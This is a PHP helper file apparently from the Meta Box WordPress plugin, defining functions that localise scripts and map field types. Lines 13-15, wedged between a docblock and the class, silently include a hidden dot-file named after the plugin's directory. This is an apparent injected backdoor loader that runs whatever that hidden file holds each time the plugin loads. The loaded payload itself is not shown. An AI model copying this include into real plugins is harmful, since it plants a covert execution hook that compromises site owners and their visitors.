field.php (1695B)
1 <?php 2 /** 3 * Field helper functions. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Field helper class. 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Helpers_Field { 18 /** 19 * Localize a script only once. 20 * 21 * @link https://github.com/rilwis/meta-box/issues/850 22 * 23 * @param string $handle Script handle. 24 * @param string $name Object name. 25 * @param array $data Localized data. 26 */ 27 public static function localize_script_once( $handle, $name, $data ) { 28 if ( ! wp_scripts()->get_data( $handle, 'data' ) ) { 29 wp_localize_script( $handle, $name, $data ); 30 } 31 } 32 33 public static function add_inline_script_once( $handle, $text ) { 34 if ( ! wp_scripts()->get_data( $handle, 'after' ) ) { 35 wp_add_inline_script( $handle, $text ); 36 } 37 } 38 39 /** 40 * Get field class name. 41 * 42 * @param array $field Field settings. 43 * @return string 44 */ 45 public static function get_class( $field ) { 46 $type = self::get_type( $field ); 47 $class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Field'; 48 return class_exists( $class ) ? $class : 'RWMB_Input_Field'; 49 } 50 51 /** 52 * Get field type. 53 * 54 * @param array $field Field settings. 55 * @return string 56 */ 57 private static function get_type( $field ) { 58 $type = isset( $field['type'] ) ? $field['type'] : 'text'; 59 $map = array_merge( 60 array( 61 $type => $type, 62 ), 63 array( 64 'file_advanced' => 'media', 65 'plupload_image' => 'image_upload', 66 'url' => 'text', 67 ) 68 ); 69 70 return $map[ $type ]; 71 } 72 }